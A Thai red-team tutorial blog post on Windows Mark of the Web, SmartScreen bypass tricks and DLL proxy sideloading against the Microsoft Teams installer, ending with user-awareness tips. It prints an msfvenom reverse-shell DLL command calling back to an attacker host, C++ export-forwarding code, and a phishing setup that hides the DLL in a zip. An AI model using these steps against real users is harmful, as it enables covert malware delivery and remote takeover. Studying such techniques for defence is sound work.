← Back to list

[Red Team — EP.3] Introduction to Mark of the Web (MotW) & DLL Sideloading

แค่แปะป้ายว่ามาจาก Internet มันจะช่วยลดภัยคุกคาม Cybersecurity ได้มากแค่ไหนกัน

Pattharadanai Sanitjairak · 2026-05-12 14:45 · 1 claps · 8.4 min read
#cybersecurity #phishing #cyber-security-awareness #red-team #dll-hijacking
Open on Medium ↗
Wiki topics: SAF · Safety & Alignment 🔒 · Cybersecurity

[Red Team — EP.3] Introduction to Mark of the Web (MotW) & DLL Sideloading

แค่แปะป้ายว่ามาจาก Internet มันจะช่วยลดภัยคุกคาม Cybersecurity ได้มากแค่ไหนกัน

เป็นเรื่องที่หลีกเลี่ยงไม่ได้สำหรับผู้ใช้งาน Internet ที่จะต้องมีการ Download ไฟล์บางอย่างจาก Website ซึ่งผู้ใช้งานที่ไม่ระมัดระวังก็อาจจะเผลอ Download ไฟล์อันตรายอย่าง Malware มาโดยไม่ตั้งใจ จนนำไปสู่การถูกบุกรุกทางไซเบอร์ได้ โดยเฉพาะการใช้งานผ่าน Network ขององค์กรที่อาจได้รับความเสียหายรุนแรงจนถึงขั้นถูกโจมตีด้วย Ransomware ได้เลยทีเดียว

จากปัญหาที่กล่าวมาข้างต้น Microsoft จึงได้พัฒนากลไกต่าง ๆ เพื่อเพิ่มความปลอดภัยให้มากขึ้น ซึ่งหนึ่งในนั้นก็คือ Mark of the Web (MoTW) นั่นเอง ในตัวอย่างนี้เราจะมาทดสอบ Download โปรแกรม Microsoft Teams จาก Internet ผ่าน Website ของ Microsoft

หลังจาก Download ตัวติดตั้ง Microsoft Teams ซึ่งเป็นไฟล์ .exe สำเร็จแล้ว เมื่อเราคลิกขวาที่ตัวโปรแกรมแล้วเลือกไปที่ Properties ในแท็บ General ตรงส่วนของ Security จะพบข้อความระบุว่า

“This file came from another computer and might be blocked to help protect this computer”

ซึ่งนั่นก็คือ Mark of the Web (MotW) นั่นเองมันคือสิ่งที่ Browser ตีตราลงบน File ที่ Download มาจาก Internet เพื่อให้ระบบและผู้ใช้ทราบว่าไฟล์นี้มาจากแหล่งภายนอกหรือ Computer เครื่องอื่นนั่นเอง

เมื่อเราเปิดใช้งานโปรแกรมเป็นครั้งแรกหลังจาก Download ออกมา Windows จะทำงานอยู่เบื้องหลังเพื่อตรวจสอบว่าไฟล์นี้มีความปลอดภัยเพียงใด โดยกลไกที่เรียกว่า SmartScreen ซึ่งจะทำหน้าที่ตรวจสอบ MotW และ Digital Signature ของตัวโปรแกรม .exe ว่าน่าเชื่อถือแค่ไหน

ซึ่งถ้าเป็นในกรณีของ Microsoft Teams ที่ถูกพัฒนาและ Sign โดย Microsoft ที่เป็น Vendor ที่น่าเชื่อถืออยู่แล้ว ตัวระบบก็จะมองว่าโปรแกรมนี้ปลอดภัยและอนุญาตให้เปิดได้ทันทีอย่างไม่มีปัญหา แต่ถ้าหากเราคลิกขวาดูที่ Property อีกครั้งก็จะพบว่าข้อความใน Tab Security นั้นได้หายไปแล้ว ซึ่งในความเป็นจริงระบบไม่ได้ลบ MotW ออกเพียงแต่จดจำว่าโปรแกรมนี้ได้ถูกอนุญาตไปแล้ว เพื่อที่ว่าการเปิดโปรแกรมครั้งต่อไปจะได้ไม่ต้องมีการตรวจสอบเพิ่มเติมอีก เป็นการประหยัดทรัพยากรและเวลาในการใช้งานนั่นเอง

สมมติว่าผู้ใช้งาน Internet กำลังถูก Phishing หลอกให้ Download Microsoft Teams ปลอม ซึ่งความจริงแล้วเป็น Malware เราจะพบว่าระบบจะทำการบล็อกเสมอไม่ให้ Download ถึงแม้ชื่อไฟล์จะเหมือนกับของจริงก็ตาม เนื่องจากตัวไฟล์ไม่ได้ถูก Sign โดย Vendor ที่น่าเชื่อถือ ทำให้การโจมตีถูกสกัดกั้นและการ Phishing ในครั้งนี้ไม่สำเร็จนั่นเอง

แม้ว่าไฟล์ .exe จะหลุดรอดจากด่านตรวจของ Browser มาได้ (เช่น การ Download ผ่าน PowerShell หรือ Command Prompt) แต่สุดท้ายก็ยังมีด่านของ SmartScreen ของ Windows Defender มาคอยป้องกันอีกครั้งอยู่ดี เมื่อ File ใดก็ตามถูกแปะ MoTW และไม่มี Signature ที่น่าเชื่อถือก็จะมีการแจ้งเตือนขึ้นมาซ้ำอีกรอบนึง สิ่งนี้สะท้อนให้เห็นว่าการจะทำ Phishing โดยหวังให้ผู้ใช้งาน Download และรันไฟล์ .exe จนสำเร็จนั้น ไม่ใช่เรื่องง่ายเลยในปัจจุบัน

ซึ่งอีกทางเลือกหนึ่งของผู้โจมตีก็คือการนำ Malware ของตัวเองไปลงทะเบียนกับ Vendor ที่น่าเชื่อถือได้นั่นเอง ซึ่งนอกจากจะเสียค่าใช้จ่ายแล้วก็ต้องมั่นใจว่า Malware ตัวเองผ่านการตรวจสอบจาก Vendor และไม่ถูกจับโดย Windows Defender นั่นเองซึ่งก็เป็นเรื่องยากเข้าไปอีก

เราสามารใช้คำสั่ง PowerShell ด้านล่างแทนการคลิกขวาที่ Property ที่ตัว File เพื่อเช็ค Mark of the Web ได้เช่นกัน

Get-Content "Program_Path.exe:Zone.Identifier"

ซึ่งค่าของ Field ZoneId จะเป็นสิ่งที่ตราลงบนไฟล์และบอกว่าตัวไฟล์นี้มีแหล่งกำเนิดมากจากไหนนั่นเอง

  • 0 — Program นี้มาจากตัวเครื่องเองหรือ Local Machine
  • 1 — Program นี้มาจาก Intranet หรือ Trusted Local Network
  • 2 — Program นี้มาจาก Internet แต่เป็นแหล่งที่เชื่อถือได้ (Trusted Sites)
  • 3 — Program นี้มาจาก Internet แต่ไม่ได้มาจากแหล่งที่น่าเชื่อถือ
  • 4 — Program นี้มาจากแหล่งที่ไม่น่าเชื่อถือสุดๆ แหล่งที่ถูกระบุว่าคือตัวอันตราย

Trusted Sites

จาก Section ข้างต้นถ้าเมื่อใดที่ค่าของ ZoneId ถูก set เป็น 2 จะแปลว่าตัวไฟล์นั้นมาจาก Internet แต่เป็นแหล่งที่น่าเชื่อถือได้

แต่ทว่าพอเราทดสอบ Download Microsoft Teams ของแท้จาก Official ซึ่งควรจะเป็น Trusted Sites เพราะดูแลโดย Microsoft เองปรากฎว่าเราก็ยังได้ ZoneId เป็นเลข 3 อยู่ดีแทนที่จะเป็นเลข 2

อันที่จริง Feature ที่เรียกว่า Trusted Sites เป็น Feature ที่มีมาตั้งแต่สมัยที่ Windows ยังใช้งาน Internet Explorer อยู่ แต่ในปัจจุบันเรายังคงสามารถประยุกต์ใช้งานกับ Microsoft Edge ได้เช่นกัน โดยเราสามารถทดสอบตั้งค่าตามภาพด้านล่างนี้ ซึ่งในตัวอย่างเราจะทำการเพิ่ม Website ของ Microsoft ลงไปใน List

หลังจากเราทดสอบ Download Microsoft Teams อีกครั้งก็จะพบว่า ZoneId ถูกเปลี่ยนเป็น 2 แล้วนั่นเอง

สมมติว่าผู้ใช้งานถูก Phishing โดยหลอกให้เข้าไปแก้ไขการตั้งค่าในส่วนของ Trusted Sites เพื่อเพิ่ม Trust ของ Website ที่มีการกระจาย Microsoft Teams ปลอม ซึ่งสถานการณ์นี้มักเกิดขึ้นกับผู้ใช้งานที่ขาด Cybersecurity Awareness และพยายามทำตามคู่มือการติดตั้งโปรแกรมที่ละเมิดลิขสิทธิ์หรือโปรแกรม Crack ต่าง ๆ ผลที่ตามมาคือเมื่อเราดาวน์โหลดไฟล์ลงมา ตัวไฟล์จะยังคงถูกแปะป้าย MoTW ไว้เช่นเดิม แต่ค่า ZoneId จะเปลี่ยนเป็น 2

ซึ่งถ้าหากเหยื่อทำการเปิดใช้งาน Malware เมื่อไรจะพบว่าไม่มีหน้าต่างของ SmartScreen ของ Windows Defender ขึ้นมาแจ้งเตือนซ้ำอีกรอบทำให้ Malware สามารถทำงานได้ทันที

โดยปกติแล้ว Feature Trusted Sites อาจถือได้ว่า Deprecated ไปแล้วก็ได้ เพราะโดย Default Windows จะไม่มีการเพิ่มรายการใดๆ ลง Trusted Site เลย ซึ่งสอดคล้องกับแนวคิด Zero Trust ที่จะไม่เชื่อใครเลย โดยระบบจะหันไปพึ่งพาการสแกนจาก SmartScreen เสมอ และนอกจากนี้ไม่ใช่ทุก Browser จะสนใจการตั้งค่านี้ แต่ผู้ใช้งานก็ต้องมี Awareness เสมอว่าถ้าหากมีใครก็ตามพยายามโน้มน้าวให้เปลี่ยนการตั้งค่านี้ ก็อาจจะเป็นสัญญาณของการถูก Phishing เพื่อให้ Malware สามารถ Bypass การป้องกันได้นั่นเอง

Alternate Data Stream (ADS)

ถ้าหากสมมติว่า Mark of the Web หายไปจากไฟล์ โดยไม่สนว่าไฟล์ .exe นั้นจะมีการ Sign ที่ถูกต้องหรือไม่จะเกิดอะไรขึ้น เราสามารถใช้คำสั่งด้านล่างกับไฟล์อะไรก็ได้เพื่อทำการลบ Mark of the Web ออก

Remove-Item file_path.exe -Stream Zone.Identifier

เราจะพบว่าข้อความในส่วนของ Security ใน Properties ของโปรแกรมหายไป และผู้ใช้งานก็สามารถเปิดใช้งาน Malware ได้โดยไม่มีการแจ้งเตือนจาก SmartScreen อีกเลย ซึ่งเปรียบเสมือนว่าไฟล์ .exe ตัวนี้ถูกสร้างและ Compile ขึ้นบนเครื่องโดยผู้ใช้งานเอง ซึ่งเป็นเรื่องปกติเพราะผู้ใช้งานอาจจะเป็นนักพัฒนา Software ก็ได้

หากมองในมุมของผู้โจมตี ถ้าเราสามารถทำให้ Mark of the Web หายไปได้ในขณะที่เหยื่อดาวน์โหลดไฟล์ลงมา ซึ่งทำให้ไม่มี Popup ของ SmartScreen แจ้งเตือนขึ้นมา การทำ Phishing ก็คงจะเป็นไปได้อย่างราบรื่น ซึ่งเราจะมาดูกันว่ามีวิธีใดบ้างที่สามารถทำเช่นนั้นได้

จริงๆ แล้วตัว Mark of the Web จะถูกเก็บอยู่ในรูปแบบที่เรียกว่า Alternate Data Streams (ADS) หากอธิบายแบบง่ายๆ ก็คือไฟล์ย่อยๆ ที่แนบมากับไฟล์หลักนั่นเอง ซึ่ง Feature นี้อนุญาตให้ผู้พัฒนาสามารถแนบไฟล์ย่อยที่ไม่ได้มีความเกี่ยวข้องหรือส่งผลกระทบกับเนื้อหาไฟล์หลักเพื่อที่จะสามารถเพิ่ม Function เพิ่มเติมอะไรบางอย่างลงไปได้ และในกรณีของ Windows ก็คือการใช้เพื่อเก็บข้อมูล Mark of the Web หรือ ตราประทับ ของไฟล์นั่นเอง

เราสามารถใช้คำสั่งด้านล่างเพื่อตรวจสอบ ADS ทั้งหมดของตัวไฟล์ได้ ซึ่งในกรณีนี้คือตัวติดตั้ง Microsoft Teams จาก Official

Get-Item ".\MSTeamsSetup.exe" -Stream * | select Stream,Length

จากภาพด้านบนเราจะพบว่า File นี้ประกอบไปด้วย 3 ADS ซึ่งได้แต่ :$DATA ซึ่งก็คือตัวข้อมูลหลักหรือเนื้อหาของไฟล์ SmartScreen เป็น ADS ที่แนบมาโดย SmartScreen จาก Browser และ Zone.Identifier ซึ่งเป็น ADS ที่เก็บ Mark of the Web นั่นเอง

เราสามารถเพิ่ม ADS อะไรก็ได้ให้กับไฟล์ของเราได้เช่นกันด้วยคำสั่งตัวอย่างด้านล่าง โดยจะเป็นการเพิ่ม ADS ที่ชื่อว่า secret ที่มีเนื้อหาว่า This is secret note WOWZA12345.

Set-Content .\MSTeamsSetup.exe:secret "This is secret note WOWZA12345"

ซึ่งตามที่เราได้บอกไปว่า ADS เปรียบเสมือนไฟล์ย่อยๆ ของไฟล์หลักอีกที และตัวเนื้อหาหลักจะเก็บอยู่ใน :$DATA เสมอ ซึ่งหมายความว่าถ้าเราทำการตรวจสอบ หรือ Forensic แค่เนื้อหาไฟล์หลักเราจะไม่มีทางเจอข้อความ secret นี่เราแนบไว้เมื่อสักครู่ได้เลย จนกว่าเราจะไปอ่านที่ ADS ของมันตรงๆ

File Archive

หลังจากที่เราพอจะทราบถึงการมีอยู่ของ ADS และวิธีการใช้งานแล้ว ทีนี้เรามาดูวิธีนำมันออกในขั้นตอนการ Download จาก Internet ดีกว่า เพื่อที่เราจะสามารถนำ MotW ออกไปพร้อมกันได้เลย ทำให้การ Phishing มีความราบรื่นมากขึ้น

เราลองมาเปลี่ยนวิธีการ Phishing กันดีกว่า ถ้าสมมติว่าเราครอบไฟล์ .exe ด้วย Archive Program ให้เป็นไฟล์นามสกุล .zip หรือ .rar ก่อนแล้วแตกไฟล์ทีหลังจะช่วยได้หรือไม่ สมมติว่าเหยื่อได้ทำการ Download Software เถื่อนจาก Website หนึ่งในรูปแบบของ .zip เราจะพบว่าเราสามารถผ่านด่านแรกซึ่งก็คือ SmartScreen บน Browser ไปได้แล้ว

ทีนี้เรามาดูด่านที่สองกันดีกว่าซึ่งก็คือ SmartScreen บน Windows Defender หากเราตรวจสอบที่ไฟล์ .zip และไฟล์ .exe หลังจากที่ Extract ออกมาเราก็จะพบว่ามันก็ยังคงติด Mark of the Web ที่ตั้งค่า ZoneId ให้เป็น 3 อยู่ดี และถ้าเราก็เปิดก็จะติดด่านของ Windows Defender อยู่ดี แปลว่าการใช้ Archive Software อาจจะไม่ได้ช่วยอะไรมากนัก

หากจะใช้โปรแกรมจำพวกนี้เพื่อลบ MotW จริงๆ ก็สามารถทำได้ แต่จำเป็นต้องใช้โปรแกรมเวอร์ชันเก่าที่มีช่องโหว่ซึ่งอนุญาตให้เราทำการ Bypass ได้ ยกตัวอย่างเช่น WinRAR เวอร์ชัน 7.11 ที่ผู้โจมตีสามารถใช้ช่องโหว่ CVE-2025–31334 เพื่อทำการ Bypass ได้เช่นกัน แต่ทั้งนี้ก็ต้องหวังพึ่งว่าเหยื่อจะมีการติดตั้งโปรแกรมเวอร์ชันที่มีช่องโหว่นั้นอยู่ในเครื่องด้วย ซึ่งในความเป็นจริงอาจจะเป็นไปได้ยากสักหน่อย

NTFS Filesystem

หากเราศึกษาเกี่ยวกับ ADS ให้ลึกขึ้น จะพบว่า Feature ในลักษณะที่ไฟล์หลักสามารถมีไฟล์ย่อยแนบมาด้วยนั้น ไม่สามารถรองรับได้ในทุกๆ Hard Disk ซึ่งนั่นอาจทำให้ ADS หายไปได้โดยปริยายหลังจาก Download ลงมา โดยปกติแล้ว ADS มักจะทำงานบน Hard Disk ที่มี File System เป็น NTFS เท่านั้น ซึ่งหมายความว่าหากเป้าหมายใช้ระบบไฟล์ประเภทอื่นๆ เช่น FAT32 หรือ exFAT ตัว ADS และ MotW ก็จะหายไปทันทีเช่นกัน

สมมติว่าเหยื่อใช้งานเครื่อง Windows ที่ Hard Disk ของตนเองเป็นประเภท FAT32 ซึ่งในที่นี้เราจะจำลองสถานการณ์ด้วยการเสียบ USB Drive เข้ามาแทน และเมื่อทำการตรวจสอบที่ Properties เราจะพบว่า File System มีค่าเป็น FAT32

เมื่อทำการตรวจสอบ ADS ทั้งในส่วนของไฟล์ Archive และไฟล์ .exe เราจะพบว่า ADS ทั้งหมดได้หายไปโดยปริยาย ซึ่งสังเกตได้จากข้อความ Error ที่ปรากฏขึ้นเมื่อใช้คำสั่งสำหรับตรวจสอบ ADS

ซึ่งนั่นก็แปลว่าเหยื่อสามารถเปิด .exe ได้เลยโดยไม่มีการแจ้งเตือนใดๆ จาก Smart Screen ขึ้นมา ทำให้สามารถ Phishing ได้ราบรื่นขึ้น

แต่นั่นก็เป็นเรื่องยากอีกเช่นกัน เพราะ Windows สมัยใหม่กำหนดให้ Hard Disk หลักต้องเป็น NTFS เสมอ เนื่องจาก NTFS ช่วยให้ไฟล์มี Feature ต่างๆ มากขึ้น ไม่ว่าจะเป็นการทำ Access Control, Journaling, ADS, การทำ Shadow Copy หรือฟังก์ชันอื่นๆ ที่ช่วยเพิ่มประสิทธิภาพ User Experience และความปลอดภัยในการใช้งาน Windows

ในขณะที่ File System ประเภท exFAT หรือ FAT32 ที่เป็น File System ที่เรียบง่าย เหมาะสำหรับอุปกรณ์ที่ต้องการใช้พื้นที่อย่างเต็มรูปแบบและไม่มี Overhead ในการเขียนข้อมูล ซึ่งมักพบได้ในอุปกรณ์จำพวก IoT หรืออุปกรณ์ขนาดเล็กอื่นๆ นั่นหมายความว่าการจะหาเหยื่อที่ใช้งาน Hardisk ประเภทนี้บนคอมพิวเตอร์ส่วนบุคคลจึงเป็นเรื่องที่ยากมากๆ ในปัจจุบัน

แต่ถ้าจะทำจริง ๆ กับ NTFS มันก็พอมีวิธี ผู้โจมตีบางรายอาจใช้วิธีแจกจ่ายไฟล์ในรูปแบบ Disk Image เช่น ไฟล์นามสกุล .iso แล้วคาดหวังให้เหยื่อทำการ Mount ไฟล์นั้นขึ้นมา ซึ่งอาจจะจำลองเป็นระบบไฟล์แบบ FAT32 หรือระบบอื่น ๆ แทน โดยมักจะพบเทคนิคนี้ใน Website ที่แจกจ่ายโปรแกรมละเมิดลิขสิทธิ์ที่มี Instruction บอกให้ผู้ใช้งานทำการ Mount ไฟล์ ISO ก่อนติดตั้ง แต่ถึงกระนั้น วิธีนี้ก็ยังดูน่าสงสัย Suspicious อยู่ดีด้วยวิธีการทำที่ยุ่งยาก ดังนั้นในมุมของผู้โจมตี เราควรยึดหลักการ Keep It Simple, Stupid (KISS) เพื่อให้การโจมตีดูแนบเนียนและง่ายที่สุดสำหรับเหยื่อ

DLL Sideloading

เราลองมาวางกลยุทธ์ใหม่กันดีกว่า การพยายามลบ MotW โดยตรงอาจจะเป็นเรื่องที่ยากเกินไป แต่ถ้าเราไม่ไปยุ่งกับตัวไฟล์ .exe หลัก แล้วหันไปจัดการกับไฟล์ Dependencies หรือไฟล์ส่วนประกอบอื่น ๆ ที่มันเรียกใช้งานล่ะ มันจะเป็นไปได้หรือเปล่านะ

สิ่งที่เป็น Dependency หลักๆ สำหรับไฟล์ .exe ก็คือไฟล์ .dll (Dynamic Link Library) นั่นเอง โดยไฟล์ DLL จะทำหน้าที่รวบรวม Library ต่าง ๆ ที่จำเป็นต่อการทำงานของโปรแกรมเอาไว้ ซึ่งโดยปกติแล้ว Windows จะมีการติดตั้ง DLL พื้นฐานที่จำเป็นไว้ให้ในระบบอยู่แล้ว

สิ่งนี้ช่วยให้ผู้พัฒนาไม่จำเป็นต้องเขียน Function ทั้งหมดสร้าง Library เหล่านั้นขึ้นมาใหม่ แต่สามารถเรียกใช้งานฟังก์ชันที่มีอยู่แล้วใน Windows ได้ทันที ซึ่งช่วยประหยัดพื้นที่ของตัวโปรแกรมไปได้มหาศาล ลองจินตนาการดูว่าหาก Developer ต้อง Pack ทุก Function รวมเข้ามาในไฟล์เดียวแทนที่จะใช้ทรัพยากรส่วนกลางที่มีอยู่แล้ว ขนาดของไฟล์โปรแกรมคงจะใหญ่ขึ้นมากเลยทีเดียว

ซึ่งก็เป็นกรณีเดียวกับตัวติดตั้ง Microsoft Teams ของ Windows หากเราใช้ Process Monitor ตรวจสอบดู ก็จะพบว่าเวลาเราเปิดใช้งานโปรแกรม มันจะมีการเรียกใช้งานไฟล์ DLL หลายๆ ตัวเข้ามาด้วย เช่น wow64log.dll, Wldp.dll และ rpcss.dll เป็นต้น

หากใครที่ทำงานสาย Offensive Security มาก่อนหรือเคยผ่านหูผ่านตากับคอร์สอย่าง PEN-200 มาบ้าง ก็คงจะนึกถึงเทคนิคที่เรียกว่า DLL Hijacking เพราะในบางครั้งโปรแกรมอาจจะไม่ทราบว่า DLL ที่ต้องการใช้งานนั้นอยู่ที่ใดในเครื่องของผู้ใช้ แต่จะใช้วิธีการไล่ค้นหาไปตามลำดับ Folder ต่างๆ จนกว่าจะเจอ หรือที่เรียกว่า DLL Search Order แต่ถ้าไม่เจอ Program มันก็จะ Error นั่นเอง

ขอไม่ลงลึก DLL Search Order มากนัก จากภาพด้านบนจะระบุได้ว่าตัวติดตั้ง Microsoft Teams พยายามค้นหาไฟล์ DLL ที่ชื่อว่า Wldp.dll โดยเริ่มต้นค้นหาจาก Folder ปัจจุบันที่ตัวโปรแกรมทำงานอยู่ ซึ่งนั่นหมายความว่าหากเรานำไฟล์ DLL ที่เป็น Malware และตั้งชื่อเดียวกันไปวางไว้ข้าง ๆ ตัวโปรแกรม โปรแกรมก็จะโหลดไฟล์นั้นขึ้นมาใช้งานอย่างแน่นอน

การสร้าง Malicious DLL สามารถทำได้โดยใช้คำสั่ง msfvenom ด้านล่างต่อไปนี้ได้ จากนั้นนำ DLL ที่ได้ไปวางไว้ในโฟลเดอร์เดียวกับตัวติดตั้งของ Microsoft Teams

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.198.128 LPORT=443 -f dll -o Wldp.dll

อย่างไรก็ตาม พอเราพยายามเปิดตัวติดตั้งขึ้นมาจะพบกับ Error ทันทีและไม่สามารถเริ่มทำงานได้ ซึ่งถือเป็นเรื่องปกติ เนื่องมาจากโปรแกรมอาจมีการเรียกใช้งาน Function บางอย่างที่มีอยู่ในไฟล์ DLL ต้นฉบับ แต่กลับไม่พบใน DLL ที่เราสร้างขึ้นใหม่

แต่ถ้าเปรียบเทียบกับตอนเราสอบหรือทำ Lab ต่างๆ มันควรจะสำเร็จได้โดยง่ายเสมอ แต่ทว่านี่คือโลกแห่งความเป็นจริง ผลลัพธ์ก็ย่อมแตกต่างออกไปอย่างแน่นอน

แทนที่เราจะทำ DLL Hijacking เราสามารถเลือกใช้วิธีการสร้าง DLL ที่ทำหน้าที่เป็นตัวกลางในการ Forward คำสั่งไปยัง DLL ต้นฉบับที่ถูกต้องแทนได้ แต่แอบรัน Malicious Logic ไปด้วย ซึ่งวิธีนี้จะช่วยให้โปรแกรมสามารถเรียกใช้งานฟังก์ชันต่างๆ ได้ตามปกติและไม่เกิด Error เราจะเรียกเทคนิคนี้ว่า DLL Proxying

เราสามารถใช้ Program Third Party บางตัวเช่น PE Viewer หรือ DLL Export Viewer เพื่อทำการตรวจสอบ DLL ต้นฉบับว่ามีการ Export ฟังก์ชันอะไรบ้าง ซึ่งถ้าเป็น wldp.dll ในตัวอย่างนี้ก็มีอยู่ประมาณ 21 ฟังก์ชันด้วยกัน ซึ่งในบางกรณีของ DLL อาจจะมีเป็นร้อยเลยก็ได้ นั่นก็หมายความว่าการที่เราจะต้องสร้าง Logic สำหรับ Forward Call ให้ครบทุกๆ ฟังก์ชันคงจะไม่ใช่เรื่องง่าย

เมื่อเรามีข้อมูลพร้อมแล้วก็ได้เวลาเขียน DLL ของเรากันดีกว่า เนื่องจาก DLL ต้นฉบับเป็นแบบ Unmanaged Code และเป็น 32-bit ดังนั้นเวลาเขียนเราก็ต้องใช้ภาษาและ Compile ให้ถูก Architecture ด้วยเช่นกัน ซึ่งเราต้องเขียนมันด้วยภาษา Assembly, C หรือ C++ เท่านั้น

หลังจากเราสร้าง Template DLL ด้วยภาษา C++ ผ่าน Microsoft Visual Studio แล้ว เราสามารถใช้ตัวอย่างโค้ดด้านล่างเพื่อ Forward Call ไปหา DLL ที่เป็นต้นฉบับได้

#pragma comment(linker, "/export:WldpIsAppApprovedByPolicy=C:\\Windows\\SysWOW64\\wldp.WldpIsAppApprovedByPolicy")

แล้วก็นั่งเพิ่ม #pragma ทีละบรรทัดจนครบทุก Function ของ DLL ต้นฉบับ

จากนั้นก็ทำการเพิ่ม Logic ในส่วนของ DLL_PROCESS_ATTACH ซึ่งโค้ดนี้จะทำงานเมื่อ DLL ถูกโหลดเข้าไปในโปรแกรมอะไรก็ตาม โดยในที่นี้เราจะใช้ Logic เป็นการ Pop Up Message Box ขึ้นมาแทน

#include "pch.h"
#include <windows.h>

#pragma comment(linker, "/export:WldpIsAppApprovedByPolicy=C:\\Windows\\SysWOW64\\wldp.WldpIsAppApprovedByPolicy")
#pragma comment(linker, "/export:WldpQueryWindowsLockdownMode=C:\\Windows\\SysWOW64\\wldp.WldpQueryWindowsLockdownMode")
#pragma comment(linker, "/export:WldpQueryWindowsLockdownPolicy=C:\\Windows\\SysWOW64\\wldp.WldpQueryWindowsLockdownPolicy")
... ใส่ให้ครบนะ

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBoxW(NULL,L"DLL Loaded Successfully!",L"PoC - Debug",MB_OK | MB_ICONINFORMATION);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

หลังจากทำการ Compile สำเร็จและนำไปวางข้างๆ กับตัวติดตั้ง Microsoft Teams ก็จะพบว่า Message Box ปรากฎขึ้นและ Microsoft Teams ก็สามารถติดตั้งลงเครื่องโดยไม่มีปัญหา ไม่มี Smart Screen มาขัดขวางด้วย เป็นการยืนยันว่าเราอาจจะสามารถแทรก Malware ลงไปได้โดยอาศัยโปรแกรมที่มีการ Sign มาแล้วจากแหล่งที่เชื่อถือได้ สามารถอาจใช้ Bypass MotW ได้

เพื่อความสมจริงมากขึ้นเราจะเปลี่ยนจากการ Pop Up Message Box ให้เป็น Reverse Shell แทนเพื่อจำลอง Malware ของจริง ถ้าหากเราใช้ msfevnom สร้าง DLL ขึ้นมาตรงๆ ก็ย่อมถูกตรวจจับโดย Microsoft Defender อย่างแน่นอน และนี่ก็เป็นอีก Challenge ของผู้โจมตีที่นอกจากจะต้องหลอกเหยื่อให้สำเร็จแล้ว ก็ต้องหาทางหลบหลีกจากการป้องกันอีกด้วย

แต่ไม่เป็นไรการ Bypass Windows Defender นั้นไม่ใช่เรื่องยากเลย แค่ใช้ Win32 API นิดหน่อย กับการ Obfuscation ตัว shellcode อีกเล็กน้อยก็ผ่านได้สบายๆ หากใครสนใจอยากรู้จัก Win32 API สำหรับการสร้างและวิเคราะห์ Malware สามารถตามได้ที่ Blog นี้เลย

Phishing Scenario

ในเมื่อทุกอย่างพร้อมแล้วเราลองมาดูว่าในโลกแห่งความเป็นจริงเขาใช้ Technique นี้กันอย่างไร

ขั้นแรกเราจะต้องทำการซ่อนตัว DLL เอาไว้ก่อนซึ่งอาจจะใช้คำสั่ง PowerShell หรือกดผ่านหน้า UI ก็ได้เช่นกัน

จากนั้นเราก็ทำการ Zip ทั้งตัว DLL ที่ตั้งค่าไว้ให้ซ่อนอยู่และตัวติดตั้งเข้าไปอยู่ด้วยกัน

จากนั้นก็จำลองทำการ Phishing เหยื่อ เช่นอาจจะนำ ZIP นี้ไปวางไว้ตาม Website สำหรับแจกจ่ายโปรแกรมละเมิดลิขสิทธิ์ หรืออาจจะส่ง Email เพื่อหลอกให้ทำการ Update ตัว Microsoft Teams ก็ทำได้เช่นกัน

สมมติว่าเหยื่อได้ทำการ Download Zip File ที่แนบมาจากอีเมล ถ้าผู้ใช้งานใช้โปรแกรม Third-Party ในการอ่าน Zip File ก่อนก็อาจจะยังมองเห็น DLL ที่ซ่อนเอาไว้ได้

แต่ถ้าเปิดด้วย Windows Explorer ตรงๆ จะมองไม่เห็นไฟล์ DLL ซึ่งเพิ่มความแนบเนียนไปได้อีก

แต่ถ้าผู้ใช้งานบางคนกลับกดคลิกขวาแล้ว Extract File ออกมาเลยทั้ง Folder ก็จะมองไม่เห็น DLL เช่นกันถ้าไม่ได้เปิดการมองเห็นไฟล์ที่ซ่อนเอาไว้ หากเราทำการตรวจสอบตัว EXE ที่โหลดมาก็จะพบว่าติด Mark of the Web เช่นกัน

แต่ใดๆ ก็ตามเพราะว่าตัวติดตั้ง Microsoft Teams เป็น EXE ของแท้จาก Microsoft ไม่ได้ถูกดัดแปลงหรือทำอะไรมันเลยแปลว่า Smart Screen ก็จะให้ผ่านเสมอ สมมติว่าเหยื่อหลงเชื่อแล้วทำการเปิดโปรแกรมเพื่อทำการ Update ก็จะไม่พบอะไรผิดปกติทั้งสิ้น

เมื่อ Microsoft Team เปิดตัวขึ้น Wldp.dll ที่ถูกซ่อนเอาไว้จะถูกโหลดเข้าไปในตัวโปรแกรม และแอบทำคำสั่งอย่างลับๆ ทำให้ผู้โจมตีได้รับ Reverse Shell จากเหยื่อโดนทันที เป็นหลักฐานที่ว่าการ Phishing นั้นได้สำเร็จไปแล้ว

End-User Side

ต่อให้เรามีระบบความปลอดภัยที่ล้ำสมัยเพียงใด “มนุษย์” ยังคงเป็น Weakest Link หรือจุดอ่อนในห่วงโซ่ของความปลอดภัยเสมอ ความตระหนักรู้ (Awareness) ในการใช้งาน Internet จึงเป็นทักษะที่สำคัญที่สุดในยุคนี้ โดยนี่คือตัวอย่างของพฤติกรรมที่ควรมีในการใช้งาน Internet

แหล่งที่มาของไฟล์คือหัวใจสำคัญ

  • หลีกเลี่ยงการ Download และใช้งาน Software ละเมิดลิขสิทธิ์: โปรแกรมเหล่านี้มักถูกดัดแปลงเพื่อฝัง Malware อยู่เสมอ และการที่เรามี Antivirus (โดยเฉพาะของฟรี) ก็ไม่ได้การันตีความปลอดภัย 100% เพราะผู้ไม่หวังดีสามารถใช้เทคนิคระดับสูง เช่น Custom Encryption หรือ Win32 API เพื่อหลบเลี่ยงการตรวจจับได้ง่ายดาย
  • พฤติกรรมสำคัญกว่าเครื่องมือ: อย่าฝากความหวังไว้ที่ Antivirus เพียงอย่างเดียว แต่จงปรับพฤติกรรมการใช้งานให้ปลอดภัยเป็นอันดับแรก

สังเกตสัญญาณเตือนภัย

  • อย่าปิดระบบป้องกันตามคำแนะนำ: หาก Website หรือ Software ใดๆ ขอให้เรา “ปิด SmartScreen” หรือ “เพิ่ม Domain เข้า Trusted Site” ให้สันนิษฐานไว้ก่อนว่านั่นคือโปรแกรมไม่พึงประสงค์หรือ Malware
